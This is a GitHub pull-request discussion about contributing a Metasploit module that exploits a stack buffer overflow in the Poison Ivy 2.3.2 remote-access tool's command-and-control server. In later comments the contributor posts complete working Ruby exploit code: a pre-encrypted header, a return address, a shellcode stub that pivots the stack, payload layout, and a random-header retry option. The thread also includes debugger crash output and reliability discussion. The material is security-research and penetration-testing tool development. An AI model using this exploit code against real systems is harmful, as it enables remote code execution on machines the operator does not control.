Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add Poison Ivy exploit for all Windows flavors #559

Closed
wants to merge 1 commit into from

Conversation

badishi
Copy link

@badishi badishi commented Jul 3, 2012

Reviewed (to some extent) by HD Moore.

See http://badishi.com/poison-ivy-exploit-metasploit-module for more details and a screenshot.

@badishi
Copy link
Author

badishi commented Jul 3, 2012

Now that I think of it, the exploit deserves a better ranking. It's a buffer overflow that uses ROP gadgets only from the main EXE (which doesn't support rebasing), so it doesn't care which Windows version it attacks. Additionally, Poison Ivy's C&C server creates a unique thread for each connection, so this is completely transparent to the application, as it continues to run as if nothing has happened.

I would offer GreatRanking, but then the exploit may need to be changed to include some code from the check() function (the one that checks the size, though this is not necessarily and indication of PI's version - just an indication that it's PI). I don't know - you'll be the ones to judge.

Thanks,

Gal

@jvazquez-r7
Copy link
Contributor

Hi badishi,

Really thanks. Will be looking into this hopefully today :)

@wchen-r7
Copy link
Contributor

wchen-r7 commented Jul 3, 2012

I probably wouldn't change the ranking unless you've actually tested against different windows versions, including service packs. Having a reliable ROP chain does not qual to reliable exploit since there are other factors that can cause the exploit to fail in memory. I am also not a big fan of putting untested (by us) high ranking modules, and let Pro fire them off automatically too early. I am also very paranoid about reliability.

@badishi
Copy link
Author

badishi commented Jul 3, 2012

Fair enough.

@jvazquez-r7
Copy link
Contributor

Hi,

First try with poisonivy 2.3.2 downloaded from "http://www.poisonivy-rat.com/index.php?link=download/" not successful. A client-server installation is working in test environment. Since I am not familiar with PoisonIvy I'm going to keep digging hard and reviewing materials published by badishi and others about the topic. This comment is jus an update. Digging into this. Anyway any feedback is welcome :)

While "check" finds the target as vulnerable, "exploit" doesn't work. When attaching debugger to poisonivy acting as C&C I get the next crash when running "exploit":

0:005> g
Create thread 5:d84
Create thread 6:d88
(738.d88): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=01dfff8c ecx=00000000 edx=00000001 esi=004e1720 edi=ffffffff
eip=7c834d82 esp=01dda8ec ebp=01dda910 iopl=0         nv up ei ng nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010296
kernel32!lstrcat+0x29:
7c834d82 8a4f01          mov     cl,byte ptr [edi+1]        ds:0023:00000000=??
0:006> kb
ChildEBP RetAddr  Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
01dda910 004e15c0 00000000 004e1720 01dda970 kernel32!lstrcat+0x29
01dda94c 00519a8a 00000001 00000000 00000000 Poison_Ivy_2_3_2+0xe15c0
01dfffb4 7c80b713 01110000 00000000 ffff027d Poison_Ivy_2_3_2+0x119a8a
01dfffec 00000000 00519794 01110000 00000000 kernel32!GetModuleFileNameA+0x1b4

Anyway and even when I'm attaching once the process is running I'm only half confident about the debugger ouput because I'm not familiar with the possible antidebugging tricks used by poisonivy. So as I said before, digging hard into this, just a first update :)

@badishi
Copy link
Author

badishi commented Jul 3, 2012

Hi,

Just triple checked it on XP SP3, and it works. If you don't use "admin" as the password, it might not work. If you're not, this might be the case. If you are, then please tell me what your setting is, so I can try to reproduce it. I've messed with PI a bit before, as you can imagine. :)

Thing is, the header we send gets decrypted according to the password. If the password is wrong, the server gets gibberish, which might be ok, and might not. I was planning on extending the module so that it probabilistically tries to break into PI, even if we don't know the password (we don't care if the thread dies, as long as the process is still up, and no box pops up).

I've now changed to a password that doesn't work. I'll see what I can do about it.

BTW - check() reports "vulnerable" if it thinks it's talking to PI at all. If you want, you can change it to report "vulnerable" if it's talking to PI and the password is "admin". Then again, if even that setting is not working for you, we have a problem.

Anyway, if it's my bad then I wouldn't want you to waste your time over it. Let me know how I can help.

Thanks,

Gal

@badishi
Copy link
Author

badishi commented Jul 3, 2012

Ok, so I tried various passwords. In some of them the exploit worked, and in some of them the thread made a clean exit (i.e., no exception, but the exploit didn't work). I can imagine that some passwords might also trigger an exception.

If you want, you can tell me your exact configuration, assuming an "admin" password, and I'll try to investigate this further.

If it does work for you using "admin" as the password, then for now we can just AND the two "if" clauses in check(), so it reports "vulnerable" only if it detects PI with the "admin" password. Later, I can add a brute-forcer that will be triggered only if the user explicitly selects it.

Cheers,

Gal

@jvazquez-r7
Copy link
Contributor

Hi badishi,

I'm trying with the next configuration:

Listen on Port 3460 and checking and unchecking the prompt for password on new connection (password admin). No working. Digging into it just now :) Feel free to ask for anything which could be useful to you such as a pcap of the exploiting try. On the other hand I'm going to be on #metasploit on Freenode in case you would like to discuss about it! :)

@jvazquez-r7
Copy link
Contributor

After debugging with badishi module is working, thanks man! :)

New version of the module with fix and cleanup has been sent to badishi for ack with last doubt topics:

  • Credits
  • Steps which could help to reproduce the issues when the password isnt "admin". The exploit keeps working in my tests.
  • ROP chain and DEP topic on Poison Ivy

On the other hand, lasts tests are being done on our side. Once all we ack I think we will be able to merge and close it.

@jvazquez-r7
Copy link
Contributor

The pull request #563 includes a reviewed version of this. But still the next points should be had into account:

(*) PI doesn't run on DEP enabled systems. Maybe due to unpacking since the unpacked PI runs with DEP.

When running on systems with DEP (the unpacked version of PI):

  • Windows 7 sp1 OptOut
  • Windows 2003 sp2 OptOut

The windows/exec payload runs, but not the meterpreter payload. Process crashes.

Since I don't think Poison Ivy 2.32 is going to run on DEP systems, and even if runs at this moment meterpreter doesn't run I think at this moment would be better to avoid the ROP chain. I don't think the DEP bypass is needed in this case.

  • About the password issue, when using the "test" password is easy to reproduce the fail. I'll take a look into this.

@badishi
Copy link
Author

badishi commented Jul 4, 2012

Hi,

If you don't want the ROP chains, I offer the following exploit function:


def exploit

    # This is the 32-byte header we want to send, encrypted with the default password ("admin")
    # We have a very good chance of succeeding even if the password was changed
    header = "\xe7\x77\x44\x30\x9a\xe8\x4b\x79\xa6\x3f\x11\xcd\x58\xab\x0c\xdf\x2a\xcc\xea\x77\x6f\x8c\x27\x50\xda\x30\x76\x00\x5d\x15\xde\xb7"

    ret = [
        0x0041AA97, # ret to a jmp esp opcode
        0x00401000, # Readable/writeable - will be cleaned by original ret 4 (esp will point to the next dword)
    ].pack("V*")

    # This comes immediately after ret - it is a setup for the payload
    # sub esp,0x8000
    # jmp esp
    setup = "\x81\xec\x00\x80\x00\x00\xff\xe4"

    ret_pos = 0x806D
    payload_pos = ret_pos + 8 - 0x8000

    # Handshake
    connect
    print_status("Performing handshake...")
    sock.put("\x00" * 256)
    sock.get

    # Don't change the nulls, or it might not work
    xploit  = ''
    xploit << header
    xploit << "\x00" * (payload_pos - xploit.length)
    xploit << payload.encoded
    xploit << "\x00" * (ret_pos - xploit.length)
    xploit << ret
    xploit << setup

    # The disconnection triggers the exploit
    print_status("Sending exploit...")
    sock.put(xploit)
    select(nil,nil,nil,5)
    disconnect

    # Time to own the box
    handler
end

As for the rest of the things, I'll just answer in the email correspondence.

Cheers,

Gal

@jvazquez-r7
Copy link
Contributor

Thanks Gal! Testing.

@jvazquez-r7
Copy link
Contributor

The pull request #563 has been updated with the no ROP version of the exploit plus:

  • Improved description
  • Use of target metadata
  • Fix check information provided

At this moment I'm going to test new version sent by Gal with brute forcing to try to avoid the fail when the password isn't "admin".

@badishi
Copy link
Author

badishi commented Jul 4, 2012

Hi,

As per Juan's comments, to make it work even if it initially fails, I've added an option to send a random header in the exploit. The user should rerun the exploit till success (shouldn't be more than a couple of times, really). I've added specific instructions in check().

Here's my addition to our joint revision so far (beautified + no ROP + option for random header):


This file is part of the Metasploit Framework and may be subject to

redistribution and commercial restrictions. Please see the Metasploit

web site for more information on licensing and terms of use.

http://metasploit.com/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::Tcp

def initialize(info = {})
    super(update_info(info,
        'Name'           => "Poison Ivy 2.3.2 C&C Server Buffer Overflow",
        'Description'    => %q{
            This module exploits a stack buffer overflow in Poison Ivy 2.3.2 C&C server.
            The exploit does not need to know the password chosen for the bot/server comm.
        },
        'License'        => MSF_LICENSE,
        'Author'         =>
            [
                'Andrzej Dereszowski', # Vulnerability Discovery
                'Gal Badishi' # Exploit and Metasploit module
            ],
        'References'     =>
            [
                [ 'URL', 'http://www.signal11.eu/en/research/articles/targeted_2010.pdf' ],
                [ 'URL', 'http://badishi.com/own-and-you-shall-be-owned' ]
            ],
        'DisclosureDate' => "Jun 24 2012",
        'DefaultOptions' =>
            {
                'EXITFUNC' => 'thread',
            },
        'Payload'        =>
            {
                'StackAdjustment'   => -4000,
                'Space'             => 10000,
                'BadChars'          => "",
            },
        'Platform'       => 'win',
        'Targets'        =>
            [
                [ 'Poison Ivy 2.3.2', { } ],
            ],
        'DefaultTarget'  => 0
    ))

    register_options(
        [
            Opt::RPORT(3460),
            OptBool.new('RANDHEADER', [false, 'Send random bytes as the header', false]),
        ], self.class)
end

def check
    sig = "\x35\xe1\x06\x6c\xcd\x15\x87\x3e\xee\xf8\x51\x89\x66\xb7\x0f\x8b"
    lensig = [0x000015D0].pack("V")

    connect
    sock.put("\x00" * 256)
    response = sock.read(256)
    datalen = sock.read(4)
    disconnect

    if datalen == lensig
        if response[0, 16] == sig
            print_status("Password appears to be \"admin\".")
        else
            print_status("Unknown password - if exploit fails, set RANDHEADER to \"true\" and rerun till success.")
        end
        return Exploit::CheckCode::Vulnerable
    end
    return Exploit::CheckCode::Safe
end

def exploit

    if datastore['RANDHEADER'] == true
        # Generate a random header - allows multiple invocations of the exploit if it fails because we don't know the password
        header = rand_text(0x20)
    else
        # This is the 32-byte header we want to send, encrypted with the default password ("admin")
        # We have a very good chance of succeeding even if the password was changed
        header = "\xe7\x77\x44\x30\x9a\xe8\x4b\x79\xa6\x3f\x11\xcd\x58\xab\x0c\xdf\x2a\xcc\xea\x77\x6f\x8c\x27\x50\xda\x30\x76\x00\x5d\x15\xde\xb7"
    end

    ret = [
        0x0041AA97, # ret to a jmp esp opcode
        0x00401000, # Readable/writeable - will be cleaned by original ret 4 (esp will point to the next dword)
    ].pack("V*")

    # This comes immediately after ret - it is a setup for the payload
    # sub esp,0x8000
    # jmp esp
    setup = "\x81\xec\x00\x80\x00\x00\xff\xe4"

    ret_pos = 0x806D
    payload_pos = ret_pos + 8 - 0x8000

    # Handshake
    connect
    print_status("Performing handshake...")
    sock.put("\x00" * 256)
    sock.get

    # Don't change the nulls, or it might not work
    xploit  = ''
    xploit << header
    xploit << "\x00" * (payload_pos - xploit.length)
    xploit << payload.encoded
    xploit << "\x00" * (ret_pos - xploit.length)
    xploit << ret
    xploit << setup

    # The disconnection triggers the exploit
    print_status("Sending exploit - wait 5 seconds...")
    sock.put(xploit)
    select(nil,nil,nil,5)
    disconnect

    # Time to own the box
    handler
end

end

If there's anything else that's needed, please let me know.

Regards,

Gal

@jvazquez-r7
Copy link
Contributor

Working into his, thanks gal!

@jvazquez-r7
Copy link
Contributor

Hi Gal,

I've reviewed your version of the exploit and I've updated the pull request #563 to include BruteForce. 5 tries. First try will use the 'admin' header. In case it doesn't work tries 2..5 will use a random header.

I've tested and even when brute forcing with a random header doesn't work always it has work in some tries when using no "admin" password. And I think bruteforcing makes things easier than exploit and exploit and exploit... :)

Let me know if the exploit in #563 works for you, and if you agrees with the brute force version of the exploit.

Thanks!

@badishi
Copy link
Author

badishi commented Jul 4, 2012

Hi,

Thanks for this version.

I checked the file. It gives 4 tries, and not 5, but that's not the problem. The problem is unless we can have an indication whether the exploit worked or not, we can't just try to brute-force it automatically. Consider, for example, using windows/exec. I tried it with calc.exe, and since the brute-forcer didn't stop even after a successful exploit, I got several calculators on the machine.

This is really not the wanted behavior. I would prefer performing the brute-forcing process manually, unless you know of a way to automatically know for each possible payload, whether the exploit worked or not. Or maybe let the user decide if they want it to be automatic or not, and explicitly tell them that automatic brute-forcing may cause several invocations of the payload.

That's what I think, at least.

Thanks,

Gal

@jvazquez-r7
Copy link
Contributor

Hi badishi,

Bruteforce stops when you get a session, so if you tray a "windows/exec" payload there is no indicator of when the exploit was successful for the Brute mixin.

Since you're not happy with the Bruteforce version I'm going to put back your manual approach and let the user to specify a if he wants to try a random header or not :) It will be ready today. After that I'll ask for a last test to other more experienced developer, since it has been a "lot of test" case. And then I think it will be ready :)

Thanks!

@badishi
Copy link
Author

badishi commented Jul 4, 2012

Hi,

I think the best thing would be to let the user choose if he wants a brute-force or not. If it takes more than 5 minutes to change the code to do that, then just go ahead and put the manual approach back, and maybe I'll make a revision of it some time in the future.

I appreciate all your efforts.

BR,

Gal

@jvazquez-r7
Copy link
Contributor

Okey, so bruteforce target added as optional. The single_exploit target remains as default. Description and check function updated to explain it. Version available on #563. So now yes, asking for last review to more experienced developer. If ok with all I think it will be ready :)

@badishi
Copy link
Author

badishi commented Jul 4, 2012

Thanks a lot.

I know I'm gonna sound like a real pain right now , but I would like to have the option for randomness on the single exploit as well. Don't do anything - you've worked a lot on this already. I'll just add it and email it to you. Won't take long.

Thanks,

Gal

@jvazquez-r7
Copy link
Contributor

Received and changes merged into the #563 pull request :). Working on my side. Asking to someone else to check this so it will be ready to be merged into the main repo :)

Thanks again!

@badishi
Copy link
Author

badishi commented Jul 4, 2012

Hi,

Please consider adding to the comments that the targets are limited because Poison Ivy itself (out of the box) can't run on other machines (and also, because of the packer), not because it's not exploitable on those machines. If someone somehow finds a PI server (probably unpacked) on a machine that's not supported, he just needs to use the commented ROP chains and proceed with caution. :)

Thanks,

Gal

@jvazquez-r7
Copy link
Contributor

Little changes after speak with more experienced developers, plus adding my name to authors as testing plus a little of metasploit fu :$

All credits to you and Andrzej. It has been an awesome work and contribution :)

Looking forward to see more contributions from you!

@jvazquez-r7 jvazquez-r7 closed this Jul 4, 2012
todb-r7 pushed a commit that referenced this pull request Jul 11, 2012
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

3 participants